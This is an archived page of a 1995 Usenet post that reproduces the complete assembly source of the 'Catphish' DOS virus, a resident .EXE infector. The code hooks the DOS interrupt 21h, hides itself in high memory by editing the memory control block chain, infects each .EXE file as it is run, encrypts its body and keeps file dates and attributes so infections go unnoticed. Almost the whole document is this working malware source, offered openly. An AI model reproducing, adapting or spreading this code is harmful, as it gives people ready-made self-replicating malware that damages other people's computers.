home *** CD-ROM | disk | FTP | other *** search
/ Underground / Underground CD1.iso / virii / zrodla / c / catphish.asm / text0000.txt < prev   
Encoding:
Text File  |  1998-01-14  |  12.6 KB  |  504 lines

  1.  
  2. To: joshuaw@pobox.jwu.edu
  3.  
  4. Subject: (fwd) CATPHISH.ASM
  5.  
  6. Newsgroups: alt.comp.virus
  7.  
  8.  
  9.  
  10. Path: paperboy.ids.net!uunet!cs.utexas.edu!uwm.edu!msunews!news.mtu.edu!news.mtu.edu!not-for-mail
  11.  
  12. From: jdmathew@mtu.edu (Icepick)
  13.  
  14. Newsgroups: alt.comp.virus
  15.  
  16. Subject: CATPHISH.ASM
  17.  
  18. Date: 26 Jan 1995 13:06:15 -0500
  19.  
  20. Organization: Michigan Technological University
  21.  
  22. Lines: 486
  23.  
  24. Message-ID: <3g8oan$54g@maxwell11.ee>
  25.  
  26. NNTP-Posting-Host: maxwell11.ee.mtu.edu
  27.  
  28. X-Newsreader: TIN [version 1.2 PL1]
  29.  
  30.  
  31.  
  32.  
  33.  
  34.  
  35.  
  36. name    VIRUSTEST
  37.  
  38.         title
  39.  
  40. code    segment
  41.  
  42.         assume  cs:code, ds:code, es:code
  43.  
  44.         org     100h
  45.  
  46.  
  47.  
  48. ;-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
  49.  
  50. ;                        The Catphish Virus.
  51.  
  52. ;
  53.  
  54. ;   The Catphish virus is a resident .EXE infector.
  55.  
  56. ;                Size: 678 bytes (decimal).
  57.  
  58. ;                No activation (bomb).
  59.  
  60. ;                Saves date and file attributes.
  61.  
  62. ;
  63.  
  64. ;         If assembling, check_if_resident jump must be marked over
  65.  
  66. ;           with nop after first execution (first execution will hang
  67.  
  68. ;           system).
  69.  
  70. ;
  71.  
  72. ;         *** Source is made available to learn from, not to
  73.  
  74. ;               change author's name and claim credit! ***
  75.  
  76.  
  77.  
  78. start:
  79.  
  80.         call    setup                             ; Find "delta offset".
  81.  
  82. setup:
  83.  
  84.         pop     bp
  85.  
  86.         sub     bp, offset setup-100h
  87.  
  88.         jmp     check_if_resident                 ; See note above about jmp!
  89.  
  90.  
  91.  
  92. pre_dec_em:
  93.  
  94.         mov bx,offset infect_header-100h
  95.  
  96.         add bx,bp
  97.  
  98.         mov cx,endcrypt-infect_header
  99.  
  100.  
  101.  
  102. ror_em:
  103.  
  104.         mov dl,byte ptr cs:[bx]
  105.  
  106.         ror dl,1                                  ; Decrypt virus code
  107.  
  108.         mov byte ptr cs:[bx],dl                   ;   by rotating right.
  109.  
  110.         inc bx
  111.  
  112.         loop ror_em
  113.  
  114.  
  115.  
  116.         jmp check_if_resident
  117.  
  118.  
  119.  
  120. ;--------------------------------- Infect .EXE header -----------------------
  121.  
  122. ;   The .EXE header modifying code below is my reworked version of
  123.  
  124. ;     Dark Angel's code found in his Phalcon/Skism virus guides.
  125.  
  126.  
  127.  
  128.  
  129.  
  130. infect_header:
  131.  
  132.           push bx
  133.  
  134.           push dx
  135.  
  136.           push ax
  137.  
  138.  
  139.  
  140.  
  141.  
  142.  
  143.  
  144.           mov     bx, word ptr [buffer+8-100h]    ; Header size in paragraphs
  145.  
  146.                ;  ^---make sure you don't destroy the file handle
  147.  
  148.           mov     cl, 4                           ; Multiply by 16.  Won't
  149.  
  150.           shl     bx, cl                          ; work with headers > 4096
  151.  
  152.                                                   ; bytes.  Oh well!
  153.  
  154.           sub     ax, bx                          ; Subtract header size from
  155.  
  156.           sbb     dx, 0                           ; file size
  157.  
  158.     ; Now DX:AX is loaded with file size minus header size
  159.  
  160.           mov     cx, 10h                         ; DX:AX/CX = AX Remainder DX
  161.  
  162.           div     cx
  163.  
  164.  
  165.  
  166.  
  167.  
  168.           mov     word ptr [buffer+14h-100h], dx  ; IP Offset
  169.  
  170.           mov     word ptr [buffer+16h-100h], ax  ; CS Displacement in module
  171.  
  172.  
  173.  
  174.  
  175.  
  176.           mov     word ptr [buffer+0Eh-100h], ax     ; Paragraph disp. SS
  177.  
  178.           mov     word ptr [buffer+10h-100h], 0A000h ; Starting SP
  179.  
  180.  
  181.  
  182.           pop ax
  183.  
  184.           pop dx
  185.  
  186.  
  187.  
  188.           add ax, endcode-start                   ; add virus size
  189.  
  190.           cmp ax, endcode-start
  191.  
  192.           jb fix_fault
  193.  
  194.           jmp execont
  195.  
  196.  
  197.  
  198.  
  199.  
  200. war_cry  db 'Cry Havoc, and let slip the Dogs of War!',0
  201.  
  202. v_name   db '[Catphish]',0                        ; Virus name.
  203.  
  204. v_author db 'FirstStrike',0                       ; Me.
  205.  
  206. v_stuff  db 'Kraft!',0
  207.  
  208.  
  209.  
  210.  
  211.  
  212. fix_fault:
  213.  
  214.           add dx,1d
  215.  
  216.  
  217.  
  218. execont:
  219.  
  220.           push ax
  221.  
  222.           mov cl, 9
  223.  
  224.           shr ax, cl
  225.  
  226.           ror dx, cl
  227.  
  228.           stc
  229.  
  230.  
  231.  
  232.           adc dx, ax
  233.  
  234.           pop ax
  235.  
  236.           and ah, 1
  237.  
  238.  
  239.  
  240.  
  241.  
  242.           mov word ptr [buffer+4-100h], dx        ; Fix-up the file size in
  243.  
  244.           mov word ptr [buffer+2-100h], ax        ; the EXE header.
  245.  
  246.  
  247.  
  248.           pop bx
  249.  
  250.           retn                                    ; Leave subroutine
  251.  
  252.  
  253.  
  254. ;----------------------------------------------------------------------------
  255.  
  256.  
  257.  
  258.  
  259.  
  260. check_if_resident:
  261.  
  262.         push es
  263.  
  264.         xor ax,ax
  265.  
  266.         mov es,ax
  267.  
  268.  
  269.  
  270.         cmp word ptr es:[63h*4],0040h             ; Check to see if virus
  271.  
  272.         jnz grab_da_vectors                       ;   is already resident
  273.  
  274.         jmp exit_normal                           ;   by looking for a 40h
  275.  
  276.                                                   ;   signature in the int 63h
  277.  
  278.                                                   ;   offset section of
  279.  
  280.                                                   ;   interrupt table.
  281.  
  282.  
  283.  
  284. grab_da_vectors:
  285.  
  286.  
  287.  
  288.         mov ax,3521h                              ; Store original int 21h
  289.  
  290.         int 21h                                   ;   vector pointer.
  291.  
  292.         mov word ptr cs:[bp+dos_vector-100h],bx
  293.  
  294.         mov word ptr cs:[bp+dos_vector+2-100h],es
  295.  
  296.  
  297.  
  298.  
  299.  
  300.  
  301.  
  302. load_high:
  303.  
  304.         push ds
  305.  
  306.  
  307.  
  308. find_chain:                                       ; Load high routine that
  309.  
  310.                                                   ;   uses the DOS internal
  311.  
  312.      mov ah,52h                                   ;   table function to find
  313.  
  314.      int 21h                                      ;   start of MCB and then
  315.  
  316.                                                   ;   scales up chain to
  317.  
  318.      mov ds,es: word ptr [bx-2]                   ;   find top. (The code
  319.  
  320.      assume ds:nothing                            ;   is long, but it is the
  321.  
  322.                                                   ;   only code that would
  323.  
  324.      xor si,si                                    ;   work when an infected
  325.  
  326.                                                   ;   .EXE was to be loaded
  327.  
  328. Middle_check:                                     ;   into memory.
  329.  
  330.  
  331.  
  332.      cmp byte ptr ds:[0],'M'
  333.  
  334.      jne Check4last
  335.  
  336.  
  337.  
  338. add_one:
  339.  
  340.      mov ax,ds
  341.  
  342.      add ax,ds:[3]
  343.  
  344.      inc ax
  345.  
  346.  
  347.  
  348.      mov ds,ax
  349.  
  350.      jmp Middle_check
  351.  
  352.  
  353.  
  354. Check4last:
  355.  
  356.      cmp byte ptr ds:[0],'Z'
  357.  
  358.      jne Error
  359.  
  360.      mov byte ptr ds:[0],'M'
  361.  
  362.      sub word ptr ds:[3],(endcode-start+15h)/16h+1
  363.  
  364.      jmp add_one
  365.  
  366.  
  367.  
  368. error:
  369.  
  370.      mov byte ptr ds:[0],'Z'
  371.  
  372.      mov word ptr ds:[1],008h
  373.  
  374.      mov word ptr ds:[3],(endcode-start+15h)/16h+1
  375.  
  376.  
  377.  
  378.      push ds
  379.  
  380.      pop ax
  381.  
  382.      inc ax
  383.  
  384.      push ax
  385.  
  386.      pop es
  387.  
  388.  
  389.  
  390.  
  391.  
  392.  
  393.  
  394.  
  395.  
  396.  
  397.  
  398. move_virus_loop:
  399.  
  400.         mov bx,offset start-100h                  ; Move virus into carved
  401.  
  402.         add bx,bp                                 ;   out location in memory.
  403.  
  404.         mov cx,endcode-start
  405.  
  406.         push bp
  407.  
  408.         mov bp,0000h
  409.  
  410.  
  411.  
  412. move_it:
  413.  
  414.         mov dl, byte ptr cs:[bx]
  415.  
  416.         mov byte ptr es:[bp],dl
  417.  
  418.         inc bp
  419.  
  420.         inc bx
  421.  
  422.         loop move_it
  423.  
  424.         pop bp
  425.  
  426.  
  427.  
  428.  
  429.  
  430.  
  431.  
  432. hook_vectors:
  433.  
  434.  
  435.  
  436.         mov ax,2563h                              ; Hook the int 21h vector
  437.  
  438.         mov dx,0040h                              ;   which means it will
  439.  
  440.         int 21h                                   ;   point to virus code in
  441.  
  442.                                                   ;   memory.
  443.  
  444.         mov ax,2521h
  445.  
  446.         mov dx,offset virus_attack-100h
  447.  
  448.         push es
  449.  
  450.         pop ds
  451.  
  452.         int 21h
  453.  
  454.  
  455.  
  456.  
  457.  
  458.  
  459.  
  460.  
  461.  
  462.         pop ds
  463.  
  464.  
  465.  
  466.  
  467.  
  468.  
  469.  
  470. exit_normal:                                      ; Return control to
  471.  
  472.         pop es                                    ;   infected .EXE
  473.  
  474.         mov ax, es                                ;   (Dark Angle code.)
  475.  
  476.         add ax, 10h
  477.  
  478.         add word ptr cs:[bp+OrigCSIP+2-100h], ax
  479.  
  480.  
  481.  
  482.         cli
  483.  
  484.         add ax, word ptr cs:[bp+OrigSSSP+2-100h]
  485.  
  486.         mov ss, ax
  487.  
  488.         mov sp, word ptr cs:[bp+OrigSSSP-100h]
  489.  
  490.         sti
  491.  
  492.  
  493.  
  494.         xor ax,ax
  495.  
  496.         xor bp,bp
  497.  
  498.  
  499.  
  500. endcrypt  label  byte
  501.  
  502.  
  503.  
  504.         db 0eah
  505.  
  506. OrigCSIP dd 0fff00000h
  507.  
  508. OrigSSSP dd ?
  509.  
  510.  
  511.  
  512. exe_attrib dw ?
  513.  
  514. date_stamp dw ?
  515.  
  516. time_stamp dw ?
  517.  
  518.  
  519.  
  520.  
  521.  
  522.  
  523.  
  524. dos_vector dd ?
  525.  
  526.  
  527.  
  528. buffer db 18h dup(?)                              ; .EXE header buffer.
  529.  
  530.  
  531.  
  532.  
  533.  
  534.  
  535.  
  536.  
  537.  
  538. ;----------------------------------------------------------------------------
  539.  
  540.  
  541.  
  542.  
  543.  
  544. virus_attack proc  far
  545.  
  546.                assume cs:code,ds:nothing, es:nothing
  547.  
  548.  
  549.  
  550.  
  551.  
  552.         cmp ax,4b00h                              ; Infect only on file
  553.  
  554.         jz run_kill                               ;   executions.
  555.  
  556.  
  557.  
  558. leave_virus:
  559.  
  560.         jmp dword ptr cs:[dos_vector-100h]
  561.  
  562.  
  563.  
  564.  
  565.  
  566.  
  567.  
  568. run_kill:
  569.  
  570.         call infectexe
  571.  
  572.         jmp leave_virus
  573.  
  574.  
  575.  
  576.  
  577.  
  578.  
  579.  
  580.  
  581.  
  582.  
  583.  
  584. infectexe:                                        ; Same old working horse
  585.  
  586.         push ax                                   ;   routine that infects
  587.  
  588.         push bx                                   ;   the selected file.
  589.  
  590.         push cx
  591.  
  592.         push es
  593.  
  594.         push dx
  595.  
  596.         push ds
  597.  
  598.  
  599.  
  600.  
  601.  
  602.  
  603.  
  604.         mov cx,64d
  605.  
  606.         mov bx,dx
  607.  
  608.  
  609.  
  610. findname:
  611.  
  612.         cmp byte ptr ds:[bx],'.'
  613.  
  614.         jz o_k
  615.  
  616.         inc bx
  617.  
  618.         loop findname
  619.  
  620.  
  621.  
  622. pre_get_out:
  623.  
  624.         jmp get_out
  625.  
  626.  
  627.  
  628. o_k:
  629.  
  630.         cmp byte ptr ds:[bx+1],'E'                ; Searches for victims.
  631.  
  632.         jnz pre_get_out
  633.  
  634.         cmp byte ptr ds:[bx+2],'X'
  635.  
  636.         jnz pre_get_out
  637.  
  638.         cmp byte ptr ds:[bx+3],'E'
  639.  
  640.         jnz pre_get_out
  641.  
  642.  
  643.  
  644.  
  645.  
  646.  
  647.  
  648.  
  649.  
  650. getexe:
  651.  
  652.         mov ax,4300h
  653.  
  654.         call dosit
  655.  
  656.  
  657.  
  658.         mov word ptr cs:[exe_attrib-100h],cx
  659.  
  660.  
  661.  
  662.         mov ax,4301h
  663.  
  664.         xor cx,cx
  665.  
  666.         call dosit
  667.  
  668.  
  669.  
  670. exe_kill:
  671.  
  672.         mov ax,3d02h
  673.  
  674.         call dosit
  675.  
  676.         xchg bx,ax
  677.  
  678.  
  679.  
  680.         mov ax,5700h
  681.  
  682.         call dosit
  683.  
  684.  
  685.  
  686.         mov word ptr cs:[time_stamp-100h],cx
  687.  
  688.         mov word ptr cs:[date_stamp-100h],dx
  689.  
  690.  
  691.  
  692.  
  693.  
  694.  
  695.  
  696.         push cs
  697.  
  698.         pop ds
  699.  
  700.  
  701.  
  702.         mov ah,3fh
  703.  
  704.         mov cx,18h
  705.  
  706.         mov dx,offset buffer-100h
  707.  
  708.         call dosit
  709.  
  710.  
  711.  
  712.         cmp word ptr cs:[buffer+12h-100h],1993h   ; Looks for virus marker
  713.  
  714.         jnz infectforsure                         ;   of 1993h in .EXE
  715.  
  716.         jmp close_it                              ;   header checksum
  717.  
  718.                                                   ;   position.
  719.  
  720. infectforsure:
  721.  
  722.         call move_f_ptrfar
  723.  
  724.  
  725.  
  726.         push ax
  727.  
  728.         push dx
  729.  
  730.  
  731.  
  732.  
  733.  
  734.         call store_header
  735.  
  736.  
  737.  
  738.         pop dx
  739.  
  740.         pop ax
  741.  
  742.  
  743.  
  744.         call infect_header
  745.  
  746.  
  747.  
  748.  
  749.  
  750.         push bx
  751.  
  752.         push cx
  753.  
  754.         push dx
  755.  
  756.  
  757.  
  758.  
  759.  
  760.         mov bx,offset infect_header-100h
  761.  
  762.         mov cx,(endcrypt)-(infect_header)
  763.  
  764.  
  765.  
  766. rol_em:                                           ; Encryption via
  767.  
  768.         mov dl,byte ptr cs:[bx]                   ;   rotating left.
  769.  
  770.         rol dl,1
  771.  
  772.         mov byte ptr cs:[bx],dl
  773.  
  774.         inc bx
  775.  
  776.         loop rol_em
  777.  
  778.  
  779.  
  780.         pop dx
  781.  
  782.         pop cx
  783.  
  784.         pop bx
  785.  
  786.  
  787.  
  788.         mov ah,40h
  789.  
  790.         mov cx,endcode-start
  791.  
  792.         mov dx,offset start-100h
  793.  
  794.         call dosit
  795.  
  796.  
  797.  
  798.  
  799.  
  800.         mov word ptr cs:[buffer+12h-100h],1993h
  801.  
  802.  
  803.  
  804.  
  805.  
  806.         call move_f_ptrclose
  807.  
  808.  
  809.  
  810.         mov ah,40h
  811.  
  812.         mov cx,18h
  813.  
  814.         mov dx,offset buffer-100h
  815.  
  816.         call dosit
  817.  
  818.  
  819.  
  820.         mov ax,5701h
  821.  
  822.         mov cx,word ptr cs:[time_stamp-100h]
  823.  
  824.         mov dx,word ptr cs:[date_stamp-100h]
  825.  
  826.         call dosit
  827.  
  828.  
  829.  
  830. close_it:
  831.  
  832.  
  833.  
  834.  
  835.  
  836.         mov ah,3eh
  837.  
  838.         call dosit
  839.  
  840.  
  841.  
  842. get_out:
  843.  
  844.  
  845.  
  846.  
  847.  
  848.         pop ds
  849.  
  850.         pop dx
  851.  
  852.  
  853.  
  854. set_attrib:
  855.  
  856.         mov ax,4301h
  857.  
  858.         mov cx,word ptr cs:[exe_attrib-100h]
  859.  
  860.         call dosit
  861.  
  862.  
  863.  
  864.  
  865.  
  866.         pop es
  867.  
  868.         pop cx
  869.  
  870.         pop bx
  871.  
  872.         pop ax
  873.  
  874.  
  875.  
  876.         retn
  877.  
  878.  
  879.  
  880. ;---------------------------------- Call to DOS int 21h ---------------------
  881.  
  882.  
  883.  
  884. dosit:                                            ; DOS function call code.
  885.  
  886.         pushf
  887.  
  888.         call dword ptr cs:[dos_vector-100h]
  889.  
  890.         retn
  891.  
  892.  
  893.  
  894. ;----------------------------------------------------------------------------
  895.  
  896.  
  897.  
  898.  
  899.  
  900.  
  901.  
  902.  
  903.  
  904.  
  905.  
  906.  
  907.  
  908.  
  909.  
  910.  
  911.  
  912.  
  913.  
  914.  
  915.  
  916. ;-------------------------------- Store Header -----------------------------
  917.  
  918.  
  919.  
  920. store_header:
  921.  
  922.         les  ax, dword ptr [buffer+14h-100h]      ; Save old entry point
  923.  
  924.         mov  word ptr [OrigCSIP-100h], ax
  925.  
  926.         mov  word ptr [OrigCSIP+2-100h], es
  927.  
  928.  
  929.  
  930.         les  ax, dword ptr [buffer+0Eh-100h]      ; Save old stack
  931.  
  932.         mov  word ptr [OrigSSSP-100h], es
  933.  
  934.         mov  word ptr [OrigSSSP+2-100h], ax
  935.  
  936.  
  937.  
  938.         retn
  939.  
  940.  
  941.  
  942. ;---------------------------------------------------------------------------
  943.  
  944.  
  945.  
  946.  
  947.  
  948.  
  949.  
  950.  
  951.  
  952.  
  953.  
  954.  
  955.  
  956. ;---------------------------------- Set file pointer ------------------------
  957.  
  958.  
  959.  
  960. move_f_ptrfar:                                    ; Code to move file pointer.
  961.  
  962.         mov ax,4202h
  963.  
  964.         jmp short move_f
  965.  
  966.  
  967.  
  968. move_f_ptrclose:
  969.  
  970.         mov ax,4200h
  971.  
  972.  
  973.  
  974. move_f:
  975.  
  976.         xor dx,dx
  977.  
  978.         xor cx,cx
  979.  
  980.         call dosit
  981.  
  982.         retn
  983.  
  984.  
  985.  
  986. ;----------------------------------------------------------------------------
  987.  
  988.  
  989.  
  990.  
  991.  
  992. endcode         label       byte
  993.  
  994.  
  995.  
  996. endp
  997.  
  998.  
  999.  
  1000. code ends
  1001.  
  1002. end  start
  1003.  
  1004.  
  1005.  
  1006.